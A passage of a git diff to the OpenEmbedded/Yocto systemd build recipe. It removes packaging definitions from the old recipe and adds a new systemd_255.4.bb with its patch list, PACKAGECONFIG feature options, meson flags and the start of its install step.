- ${systemd_unitdir}/system/sleep.target \
- ${rootlibexecdir}/systemd/systemd-initctl \
- ${systemd_unitdir}/system/systemd-initctl.service \
- ${systemd_unitdir}/system/systemd-initctl.socket \
- ${systemd_unitdir}/system/sockets.target.wants/systemd-initctl.socket \
- ${rootlibexecdir}/systemd/system-generators/systemd-gpt-auto-generator \
- ${rootlibexecdir}/systemd/systemd-cgroups-agent \
-"
-
-CONFFILES_${PN} = "${sysconfdir}/systemd/coredump.conf \
- ${sysconfdir}/systemd/journald.conf \
- ${sysconfdir}/systemd/logind.conf \
- ${sysconfdir}/systemd/networkd.conf \
- ${sysconfdir}/systemd/pstore.conf \
- ${sysconfdir}/systemd/resolved.conf \
- ${sysconfdir}/systemd/sleep.conf \
- ${sysconfdir}/systemd/system.conf \
- ${sysconfdir}/systemd/timesyncd.conf \
- ${sysconfdir}/systemd/user.conf \
-"
-
-FILES_${PN} = " ${base_bindir}/* \
- ${base_sbindir}/shutdown \
- ${base_sbindir}/halt \
- ${base_sbindir}/poweroff \
- ${base_sbindir}/runlevel \
- ${base_sbindir}/telinit \
- ${base_sbindir}/resolvconf \
- ${base_sbindir}/reboot \
- ${base_sbindir}/init \
- ${datadir}/dbus-1/services \
- ${datadir}/dbus-1/system-services \
- ${datadir}/polkit-1 \
- ${datadir}/${BPN} \
- ${datadir}/factory \
- ${sysconfdir}/dbus-1/ \
- ${sysconfdir}/modules-load.d/ \
- ${sysconfdir}/pam.d/ \
- ${sysconfdir}/sysctl.d/ \
- ${sysconfdir}/systemd/ \
- ${sysconfdir}/tmpfiles.d/ \
- ${sysconfdir}/xdg/ \
- ${sysconfdir}/init.d/README \
- ${sysconfdir}/resolv-conf.systemd \
- ${sysconfdir}/X11/xinit/xinitrc.d/* \
- ${rootlibexecdir}/systemd/* \
- ${systemd_unitdir}/* \
- ${base_libdir}/security/*.so \
- /cgroup \
- ${bindir}/systemd* \
- ${bindir}/busctl \
- ${bindir}/coredumpctl \
- ${bindir}/localectl \
- ${bindir}/hostnamectl \
- ${bindir}/resolvectl \
- ${bindir}/timedatectl \
- ${bindir}/bootctl \
- ${exec_prefix}/lib/tmpfiles.d/*.conf \
- ${exec_prefix}/lib/systemd \
- ${exec_prefix}/lib/modules-load.d \
- ${exec_prefix}/lib/sysctl.d \
- ${exec_prefix}/lib/sysusers.d \
- ${exec_prefix}/lib/environment.d \
- ${localstatedir} \
- ${rootlibexecdir}/udev/rules.d/70-uaccess.rules \
- ${rootlibexecdir}/udev/rules.d/71-seat.rules \
- ${rootlibexecdir}/udev/rules.d/73-seat-late.rules \
- ${rootlibexecdir}/udev/rules.d/99-systemd.rules \
- ${rootlibexecdir}/modprobe.d/systemd.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.timedate1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.locale1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.network1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.resolve1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.systemd1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.hostname1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.login1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.timesync1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.portable1.conf \
- "
-
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${datadir}/dbus-1/interfaces/ ${sysconfdir}/rpm/macros.systemd"
-
-RDEPENDS_${PN} += "kmod dbus util-linux-mount util-linux-umount udev (= ${EXTENDPKGV}) util-linux-agetty util-linux-fsck"
-RDEPENDS_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', '', 'systemd-serialgetty', d)}"
-RDEPENDS_${PN} += "volatile-binds"
-
-RRECOMMENDS_${PN} += "systemd-extra-utils \
- udev-hwdb \
- e2fsprogs-e2fsck \
- kernel-module-autofs4 kernel-module-unix kernel-module-ipv6 kernel-module-sch-fq-codel \
- os-release \
- systemd-conf \
-"
-
-INSANE_SKIP_${PN} += "dev-so libdir"
-INSANE_SKIP_${PN}-dbg += "libdir"
-INSANE_SKIP_${PN}-doc += " libdir"
-
-RPROVIDES_udev = "hotplug"
-
-RDEPENDS_udev-hwdb += "udev"
-
-FILES_udev += "${base_sbindir}/udevd \
- ${rootlibexecdir}/systemd/network/99-default.link \
- ${rootlibexecdir}/systemd/systemd-udevd \
- ${rootlibexecdir}/udev/accelerometer \
- ${rootlibexecdir}/udev/ata_id \
- ${rootlibexecdir}/udev/cdrom_id \
- ${rootlibexecdir}/udev/collect \
- ${rootlibexecdir}/udev/fido_id \
- ${rootlibexecdir}/udev/findkeyboards \
- ${rootlibexecdir}/udev/keyboard-force-release.sh \
- ${rootlibexecdir}/udev/keymap \
- ${rootlibexecdir}/udev/mtd_probe \
- ${rootlibexecdir}/udev/scsi_id \
- ${rootlibexecdir}/udev/v4l_id \
- ${rootlibexecdir}/udev/keymaps \
- ${rootlibexecdir}/udev/rules.d/50-udev-default.rules \
- ${rootlibexecdir}/udev/rules.d/60-autosuspend.rules \
- ${rootlibexecdir}/udev/rules.d/60-autosuspend-chromiumos.rules \
- ${rootlibexecdir}/udev/rules.d/60-block.rules \
- ${rootlibexecdir}/udev/rules.d/60-cdrom_id.rules \
- ${rootlibexecdir}/udev/rules.d/60-drm.rules \
- ${rootlibexecdir}/udev/rules.d/60-evdev.rules \
- ${rootlibexecdir}/udev/rules.d/60-fido-id.rules \
- ${rootlibexecdir}/udev/rules.d/60-input-id.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-alsa.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-input.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-storage.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-storage-tape.rules \
- ${rootlibexecdir}/udev/rules.d/60-persistent-v4l.rules \
- ${rootlibexecdir}/udev/rules.d/60-sensor.rules \
- ${rootlibexecdir}/udev/rules.d/60-serial.rules \
- ${rootlibexecdir}/udev/rules.d/61-autosuspend-manual.rules \
- ${rootlibexecdir}/udev/rules.d/64-btrfs.rules \
- ${rootlibexecdir}/udev/rules.d/70-joystick.rules \
- ${rootlibexecdir}/udev/rules.d/70-mouse.rules \
- ${rootlibexecdir}/udev/rules.d/70-power-switch.rules \
- ${rootlibexecdir}/udev/rules.d/70-touchpad.rules \
- ${rootlibexecdir}/udev/rules.d/75-net-description.rules \
- ${rootlibexecdir}/udev/rules.d/75-probe_mtd.rules \
- ${rootlibexecdir}/udev/rules.d/78-sound-card.rules \
- ${rootlibexecdir}/udev/rules.d/80-drivers.rules \
- ${rootlibexecdir}/udev/rules.d/80-net-setup-link.rules \
- ${rootlibexecdir}/udev/rules.d/90-vconsole.rules \
- ${sysconfdir}/udev \
- ${sysconfdir}/init.d/systemd-udevd \
- ${systemd_unitdir}/system/*udev* \
- ${systemd_unitdir}/system/*.wants/*udev* \
- ${base_bindir}/systemd-hwdb \
- ${base_bindir}/udevadm \
- ${base_sbindir}/udevadm \
- ${libexecdir}/${MLPREFIX}udevadm \
- ${datadir}/bash-completion/completions/udevadm \
- ${systemd_unitdir}/system/systemd-hwdb-update.service \
- "
-
-FILES_udev-hwdb = "${rootlibexecdir}/udev/hwdb.d \
- "
-
-RCONFLICTS_${PN} = "tiny-init ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolvconf', '', d)}"
-
-INITSCRIPT_PACKAGES = "udev"
-INITSCRIPT_NAME_udev = "systemd-udevd"
-INITSCRIPT_PARAMS_udev = "start 03 S ."
-
-python __anonymous() {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
-
-python do_warn_musl() {
- if d.getVar('TCLIBC') == "musl":
- bb.warn("Using systemd with musl is not recommended since it is not supported upstream and some patches are known to be problematic.")
-}
-addtask warn_musl before do_configure
-
-ALTERNATIVE_${PN} = "halt reboot shutdown poweroff runlevel ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolv-conf', '', d)}"
-
-ALTERNATIVE_TARGET[resolv-conf] = "${sysconfdir}/resolv-conf.systemd"
-ALTERNATIVE_LINK_NAME[resolv-conf] = "${sysconfdir}/resolv.conf"
-ALTERNATIVE_PRIORITY[resolv-conf] ?= "50"
-
-ALTERNATIVE_TARGET[halt] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
-ALTERNATIVE_PRIORITY[halt] ?= "300"
-
-ALTERNATIVE_TARGET[reboot] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
-ALTERNATIVE_PRIORITY[reboot] ?= "300"
-
-ALTERNATIVE_TARGET[shutdown] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
-ALTERNATIVE_PRIORITY[shutdown] ?= "300"
-
-ALTERNATIVE_TARGET[poweroff] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
-ALTERNATIVE_PRIORITY[poweroff] ?= "300"
-
-ALTERNATIVE_TARGET[runlevel] = "${base_bindir}/systemctl"
-ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
-ALTERNATIVE_PRIORITY[runlevel] ?= "300"
-
-pkg_postinst_${PN}_libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
- -i $D${sysconfdir}/nsswitch.conf
-}
-
-pkg_prerm_${PN}_libc-glibc () {
- sed -e '/^hosts:/s/\s*\<myhostname\>//' \
- -e '/^hosts:/s/\s*myhostname//' \
- -i $D${sysconfdir}/nsswitch.conf
-}
-
-PACKAGE_WRITE_DEPS += "qemu-native"
-pkg_postinst_udev-hwdb () {
- if test -n "$D"; then
- $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} rootlibexecdir="${rootlibexecdir}" PREFERRED_PROVIDER_udev="${PREFERRED_PROVIDER_udev}"
- else
- udevadm hwdb --update
- fi
-}
-
-pkg_prerm_udev-hwdb () {
- rm -f $D${sysconfdir}/udev/hwdb.bin
-}
diff --git a/meta/recipes-core/systemd/systemd_255.4.bb b/meta/recipes-core/systemd/systemd_255.4.bb
new file mode 100644
index 0000000000..e7498c802d
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd_255.4.bb
@@ -0,0 +1,899 @@
+require systemd.inc
+
+PROVIDES = "udev"
+
+PE = "1"
+
+DEPENDS = "intltool-native gperf-native libcap util-linux python3-jinja2-native"
+
+SECTION = "base/shell"
+
+inherit useradd pkgconfig meson perlnative update-rc.d update-alternatives qemu systemd gettext bash-completion manpages features_check
+
+# unmerged-usr support is deprecated upstream, taints the system and will be
+# removed in the near future. Fail the build if it is not enabled.
+REQUIRED_DISTRO_FEATURES += "usrmerge"
+
+# As this recipe builds udev, respect systemd being in DISTRO_FEATURES so
+# that we don't build both udev and systemd in world builds.
+REQUIRED_DISTRO_FEATURES += "systemd"
+
+SRC_URI += " \
+ file://touchscreen.rules \
+ file://00-create-volatile.conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'file://org.freedesktop.hostname1_no_polkit.conf', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', 'file://00-hostnamed-network-user.conf', '', d)} \
+ file://init \
+ file://99-default.preset \
+ file://systemd-pager.sh \
+ file://0002-binfmt-Don-t-install-dependency-links-at-install-tim.patch \
+ file://0008-implment-systemd-sysv-install-for-OE.patch \
+ "
+
+# patches needed by musl
+SRC_URI:append:libc-musl = " ${SRC_URI_MUSL}"
+SRC_URI_MUSL = "\
+ file://0001-missing_type.h-add-comparison_fn_t.patch \
+ file://0002-add-fallback-parse_printf_format-implementation.patch \
+ file://0003-src-basic-missing.h-check-for-missing-strndupa.patch \
+ file://0004-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch \
+ file://0005-add-missing-FTW_-macros-for-musl.patch \
+ file://0006-Use-uintmax_t-for-handling-rlim_t.patch \
+ file://0007-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch \
+ file://0008-Define-glibc-compatible-basename-for-non-glibc-syste.patch \
+ file://0009-Do-not-disable-buffering-when-writing-to-oom_score_a.patch \
+ file://0010-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch \
+ file://0011-avoid-redefinition-of-prctl_mm_map-structure.patch \
+ file://0012-do-not-disable-buffer-in-writing-files.patch \
+ file://0013-Handle-__cpu_mask-usage.patch \
+ file://0014-Handle-missing-gshadow.patch \
+ file://0015-missing_syscall.h-Define-MIPS-ABI-defines-for-musl.patch \
+ file://0016-pass-correct-parameters-to-getdents64.patch \
+ file://0017-Adjust-for-musl-headers.patch \
+ file://0018-test-bus-error-strerror-is-assumed-to-be-GNU-specifi.patch \
+ file://0019-errno-util-Make-STRERROR-portable-for-musl.patch \
+ file://0020-sd-event-Make-malloc_trim-conditional-on-glibc.patch \
+ file://0021-shared-Do-not-use-malloc_info-on-musl.patch \
+ file://0022-avoid-missing-LOCK_EX-declaration.patch \
+ "
+
+PAM_PLUGINS = " \
+ pam-plugin-unix \
+ pam-plugin-loginuid \
+ pam-plugin-keyinit \
+ pam-plugin-namespace \
+"
+
+PACKAGECONFIG ??= " \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl audit efi ldconfig pam pni-names selinux smack usrmerge polkit seccomp', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'minidebuginfo', 'coredump elfutils', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'rfkill', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xkbcommon', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', '', 'link-udev-shared', d)} \
+ backlight \
+ binfmt \
+ cgroupv2 \
+ gshadow \
+ hibernate \
+ hostnamed \
+ idn \
+ ima \
+ kmod \
+ localed \
+ logind \
+ machined \
+ myhostname \
+ networkd \
+ nss \
+ nss-mymachines \
+ nss-resolve \
+ quotacheck \
+ randomseed \
+ resolved \
+ set-time-epoch \
+ sysusers \
+ sysvinit \
+ timedated \
+ timesyncd \
+ userdb \
+ utmp \
+ vconsole \
+ wheel-group \
+ zstd \
+"
+
+PACKAGECONFIG:remove:libc-musl = " \
+ gshadow \
+ idn \
+ localed \
+ myhostname \
+ nss \
+ nss-mymachines \
+ nss-resolve \
+ sysusers \
+ userdb \
+ utmp \
+"
+
+# https://github.com/seccomp/libseccomp/issues/347
+PACKAGECONFIG:remove:mipsarch = "seccomp"
+
+TARGET_CC_ARCH:append:libc-musl = " -D__UAPI_DEF_ETHHDR=0 -D_LARGEFILE64_SOURCE"
+
+# Some of the dependencies are weak-style recommends - if not available at runtime,
+# systemd won't fail but the library-related feature will be skipped with a warning.
+
+# Use the upstream systemd serial-getty@.service and rely on
+# systemd-getty-generator instead of using the OE-core specific
+# systemd-serialgetty.bb - not enabled by default.
+PACKAGECONFIG[serial-getty-generator] = ""
+
+PACKAGECONFIG[acl] = "-Dacl=true,-Dacl=false,acl"
+PACKAGECONFIG[audit] = "-Daudit=true,-Daudit=false,audit"
+PACKAGECONFIG[backlight] = "-Dbacklight=true,-Dbacklight=false"
+PACKAGECONFIG[binfmt] = "-Dbinfmt=true,-Dbinfmt=false"
+PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
+PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
+PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
+PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup,,cryptsetup"
+PACKAGECONFIG[cryptsetup-plugins] = "-Dlibcryptsetup-plugins=true,-Dlibcryptsetup-plugins=false,cryptsetup,,cryptsetup"
+PACKAGECONFIG[tpm2] = "-Dtpm2=true,-Dtpm2=false,tpm2-tss,tpm2-tss libtss2 libtss2-tcti-device"
+# If multiple compression libraries are enabled, the format to use for compression is chosen implicitly,
+# so if you want to compress with e.g. lz4 you cannot enable zstd, so you cannot read zstd-compressed journal files.
+# This option allows to enable all compression formats for reading, but choosing a specific one for writing.
+PACKAGECONFIG[default-compression-lz4] = "-Dlz4=true -Ddefault-compression=lz4,,lz4"
+PACKAGECONFIG[default-compression-xz] = "-Dxz=true -Ddefault-compression=xz,,xz"
+PACKAGECONFIG[default-compression-zstd] = "-Dzstd=true -Ddefault-compression=zstd,,zstd"
+PACKAGECONFIG[dbus] = "-Ddbus=true,-Ddbus=false,dbus"
+PACKAGECONFIG[efi] = "-Defi=true -Dbootloader=true,-Defi=false -Dbootloader=false,python3-pyelftools-native"
+PACKAGECONFIG[elfutils] = "-Delfutils=true,-Delfutils=false,elfutils,,libelf libdw"
+PACKAGECONFIG[firstboot] = "-Dfirstboot=true,-Dfirstboot=false"
+PACKAGECONFIG[repart] = "-Drepart=true,-Drepart=false"
+PACKAGECONFIG[homed] = "-Dhomed=true,-Dhomed=false"
+# Sign the journal for anti-tampering
+PACKAGECONFIG[gcrypt] = "-Dgcrypt=true,-Dgcrypt=false,libgcrypt"
+PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
+PACKAGECONFIG[gshadow] = "-Dgshadow=true,-Dgshadow=false"
+PACKAGECONFIG[hibernate] = "-Dhibernate=true,-Dhibernate=false"
+PACKAGECONFIG[hostnamed] = "-Dhostnamed=true,-Dhostnamed=false"
+PACKAGECONFIG[idn] = "-Didn=true,-Didn=false"
+PACKAGECONFIG[ima] = "-Dima=true,-Dima=false"
+# importd requires journal-upload/xz/zlib/bzip2/gcrypt
+PACKAGECONFIG[importd] = "-Dimportd=true,-Dimportd=false,glib-2.0"
+# Update NAT firewall rules
+PACKAGECONFIG[iptc] = "-Dlibiptc=true,-Dlibiptc=false,iptables"
+PACKAGECONFIG[journal-color] = ",,,less"
+PACKAGECONFIG[journal-upload] = "-Dlibcurl=true,-Dlibcurl=false,curl"
+PACKAGECONFIG[kmod] = "-Dkmod=true,-Dkmod=false,kmod"
+PACKAGECONFIG[ldconfig] = "-Dldconfig=true,-Dldconfig=false,,ldconfig"
+PACKAGECONFIG[libidn] = "-Dlibidn=true,-Dlibidn=false,libidn,,libidn"
+PACKAGECONFIG[libidn2] = "-Dlibidn2=true,-Dlibidn2=false,libidn2,,libidn2"
+# Link udev shared with systemd helper library.
+# If enabled the udev package depends on the systemd package (which has the needed shared library).
+PACKAGECONFIG[link-udev-shared] = "-Dlink-udev-shared=true,-Dlink-udev-shared=false"
+PACKAGECONFIG[localed] = "-Dlocaled=true,-Dlocaled=false"
+PACKAGECONFIG[logind] = "-Dlogind=true,-Dlogind=false"
+PACKAGECONFIG[lz4] = "-Dlz4=true,-Dlz4=false,lz4"
+PACKAGECONFIG[machined] = "-Dmachined=true,-Dmachined=false"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
+PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
+PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
+PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
+PACKAGECONFIG[no-dns-fallback] = "-Ddns-servers="
+PACKAGECONFIG[no-ntp-fallback] = "-Dntp-servers="
+PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false,,libnss-systemd"
+PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
+PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
+PACKAGECONFIG[oomd] = "-Doomd=true,-Doomd=false"
+PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
+PACKAGECONFIG[p11kit] = "-Dp11kit=true,-Dp11kit=false,p11-kit"
+PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
+PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
+PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
+# If polkit is disabled and networkd+hostnamed are in use, enabling this option and
+# using dbus-broker will allow networkd to be authorized to change the
+# hostname without acquiring additional privileges
+PACKAGECONFIG[polkit_hostnamed_fallback] = ",,,,dbus-broker,polkit"
+PACKAGECONFIG[portabled] = "-Dportabled=true,-Dportabled=false"
+PACKAGECONFIG[pstore] = "-Dpstore=true,-Dpstore=false"
+PACKAGECONFIG[pni-names] = ",,,"
+PACKAGECONFIG[qrencode] = "-Dqrencode=true,-Dqrencode=false,qrencode,,qrencode"
+PACKAGECONFIG[quotacheck] = "-Dquotacheck=true,-Dquotacheck=false"
+PACKAGECONFIG[randomseed] = "-Drandomseed=true,-Drandomseed=false"
+PACKAGECONFIG[resolved] = "-Dresolve=true,-Dresolve=false"
+PACKAGECONFIG[rfkill] = "-Drfkill=true,-Drfkill=false"
+PACKAGECONFIG[seccomp] = "-Dseccomp=true,-Dseccomp=false,libseccomp"
+PACKAGECONFIG[selinux] = "-Dselinux=true,-Dselinux=false,libselinux,initscripts-sushell"
+PACKAGECONFIG[smack] = "-Dsmack=true,-Dsmack=false"
+PACKAGECONFIG[sysext] = "-Dsysext=true, -Dsysext=false"
+PACKAGECONFIG[sysusers] = "-Dsysusers=true,-Dsysusers=false"
+PACKAGECONFIG[sysvinit] = "-Dsysvinit-path=${sysconfdir}/init.d -Dsysvrcnd-path=${sysconfdir},-Dsysvinit-path= -Dsysvrcnd-path=,,systemd-compat-units update-rc.d"
+# When enabled use reproducible build timestamp if set as time epoch,
+# or build time if not. When disabled, time epoch is unset.
+def build_epoch(d):
+ epoch = d.getVar('SOURCE_DATE_EPOCH') or "-1"
+ return '-Dtime-epoch=%d' % int(epoch)
+PACKAGECONFIG[set-time-epoch] = "${@build_epoch(d)},-Dtime-epoch=0"
+PACKAGECONFIG[timedated] = "-Dtimedated=true,-Dtimedated=false"
+PACKAGECONFIG[timesyncd] = "-Dtimesyncd=true,-Dtimesyncd=false"
+PACKAGECONFIG[usrmerge] = "-Dsplit-usr=false,-Dsplit-usr=true"
+PACKAGECONFIG[sbinmerge] = "-Dsplit-bin=false,-Dsplit-bin=true"
+PACKAGECONFIG[userdb] = "-Duserdb=true,-Duserdb=false"
+PACKAGECONFIG[utmp] = "-Dutmp=true,-Dutmp=false"
+PACKAGECONFIG[valgrind] = "-DVALGRIND=1,,valgrind"
+PACKAGECONFIG[vconsole] = "-Dvconsole=true,-Dvconsole=false,,${PN}-vconsole-setup"
+PACKAGECONFIG[wheel-group] = "-Dwheel-group=true, -Dwheel-group=false"
+PACKAGECONFIG[xdg-autostart] = "-Dxdg-autostart=true,-Dxdg-autostart=false"
+# Verify keymaps on locale change
+PACKAGECONFIG[xkbcommon] = "-Dxkbcommon=true,-Dxkbcommon=false,libxkbcommon"
+PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
+PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
+PACKAGECONFIG[zstd] = "-Dzstd=true,-Dzstd=false,zstd"
+
+RESOLV_CONF ??= ""
+
+# Helper variables to clarify locations. This mirrors the logic in systemd's
+# build system.
+rootprefix ?= "${root_prefix}"
+rootlibdir ?= "${base_libdir}"
+rootlibexecdir = "${rootprefix}/lib"
+
+EXTRA_OEMESON += "-Dnobody-user=nobody \
+ -Dnobody-group=nogroup \
+ -Drootlibdir=${rootlibdir} \
+ -Drootprefix=${rootprefix} \
+ -Ddefault-locale=C \
+ -Dmode=release \
+ -Dsystem-alloc-uid-min=101 \
+ -Dsystem-uid-max=999 \
+ -Dsystem-alloc-gid-min=101 \
+ -Dsystem-gid-max=999 \
+ -Dcreate-log-dirs=false \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', '-Ddefault-mdns=no -Ddefault-llmnr=no', '', d)} \
+ "
+
+# Hardcode target binary paths to avoid using paths from sysroot or worse
+# it pokes for these binaries on build host and encodes that distro assumption
+# into target
+EXTRA_OEMESON += "-Dkexec-path=${sbindir}/kexec \
+ -Dkmod-path=${base_bindir}/kmod \
+ -Dmount-path=${base_bindir}/mount \
+ -Dquotacheck-path=${sbindir}/quotacheck \
+ -Dquotaon-path=${sbindir}/quotaon \
+ -Dsulogin-path=${base_sbindir}/sulogin \
+ -Dnologin-path=${base_sbindir}/nologin \
+ -Dumount-path=${base_bindir}/umount \
+ -Dloadkeys-path=${bindir}/loadkeys \
+ -Dsetfont-path=${bindir}/setfont"
+
+# The 60 seconds is watchdog's default vaule.
+WATCHDOG_TIMEOUT ??= "60"
+
+do_install() {
+ meson_do_install
+ # Change the root user's home directory in /lib/sysusers.d/basic.conf.
+ # This is done merely for backward compatibility with previous systemd recipes.
+ # systemd hardcodes root user's HOME to be "/root". Changing to use other values
+ # may have unexpected runtime behaviors.
+ if [ "${ROOT_HOME}" != "/root" ]; then
+ bbwarn "Using ${ROOT_HOME} as root user's home directory is not fully supported by systemd"
+ sed -i -e 's#/root#${ROOT_HOME}#g' ${D}${exec_prefix}/lib/sysusers.d/basic.conf
+ fi
+ install -d ${D}/${base_sbindir}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', 'false', 'true', d)}; then
+ # Provided by a separate recipe
+ rm ${D}${systemd_system_unitdir}/serial-getty* -f
+ fi
+
+ # Provide support for initramfs
+ [ ! -e ${D}/init ] && ln -s ${rootlibexecdir}/systemd/systemd ${D}/init
+ [ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
+
+ install -d ${D}${sysconfdir}/udev/rules.d/
+ install -d ${D}${nonarch_libdir}/tmpfiles.d
+ for rule in $(find ${WORKDIR} -maxdepth 1 -type f -name "*.rules"); do
+ install -m 0644 $rule ${D}${sysconfdir}/udev/rules.d/
+ done
+
+ install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${nonarch_libdir}/tmpfiles.d/
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/systemd-udevd
+ sed -i s%@UDEVD@%${rootlibexecdir}/systemd/systemd-udevd% ${D}${sysconfdir}/init.d/systemd-udevd
+ install -Dm 0755 ${S}/src/systemctl/systemd-sysv-install.SKELETON ${D}${systemd_unitdir}/systemd-sysv-install
+ fi
+
+ if "${@'true' if oe.types.boolean(d.getVar('VOLATILE_LOG_DIR')) else 'false'}"; then
+ # /var/log is typically a symbolic link to inside /var/volatile,
+ # which is expected to be empty.
+ rm -rf ${D}${localstatedir}/log
+ elif [ -e ${D}${localstatedir}/log/journal ]; then
+ chown root:systemd-journal ${D}${localstatedir}/log/journal
+
+ # journal-remote creates this at start
+ rm -rf ${D}${localstatedir}/log/journal/remote
+ fi
+
+ # if the user requests /tmp be on persistent storage (i.e. not volatile)
+ # then don't use a tmpfs for /tmp
+ if [ "${VOLATILE_TMP_DIR}" != "yes" ]; then
+ rm -f ${D}${rootlibdir}/systemd/system/tmp.mount
+ rm -f ${D}${rootlibdir}/systemd/system/local-fs.target.wants/tmp.mount
+ fi
+
+ install -d ${D}${systemd_system_unitdir}/graphical.target.wants
+ install -d ${D}${systemd_system_unitdir}/multi-user.target.wants
+ install -d ${D}${systemd_system_unitdir}/poweroff.target.wants
+ install -d ${D}${systemd_system_unitdir}/reboot.target.wants
+ install -d ${D}${systemd_system_unitdir}/rescue.target.wants
+
+ # Create symlinks for systemd-update-utmp-runlevel.service
+ if ${@bb.utils.contains('PACKAGECONFIG', 'utmp', 'true', 'false', d)}; then
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/graphical.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/multi-user.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/poweroff.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/reboot.target.wants/systemd-update-utmp-runlevel.service
+ ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_system_unitdir}/rescue.target.wants/systemd-update-utmp-runlevel.service
+ fi
+
+ # this file is needed to exist if networkd is disabled but timesyncd is still in use since timesyncd checks it
+ # for existence else it fails
+ if [ -s ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf ] &&
+ ! ${@bb.utils.contains('PACKAGECONFIG', 'networkd', 'true', 'false', d)}; then
+ echo 'd /run/systemd/netif/links 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
+ fi
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'true', 'false', d)}; then
+ echo 'L! ${sysconfdir}/resolv.conf - - - - ../run/systemd/resolve/resolv.conf' >>${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
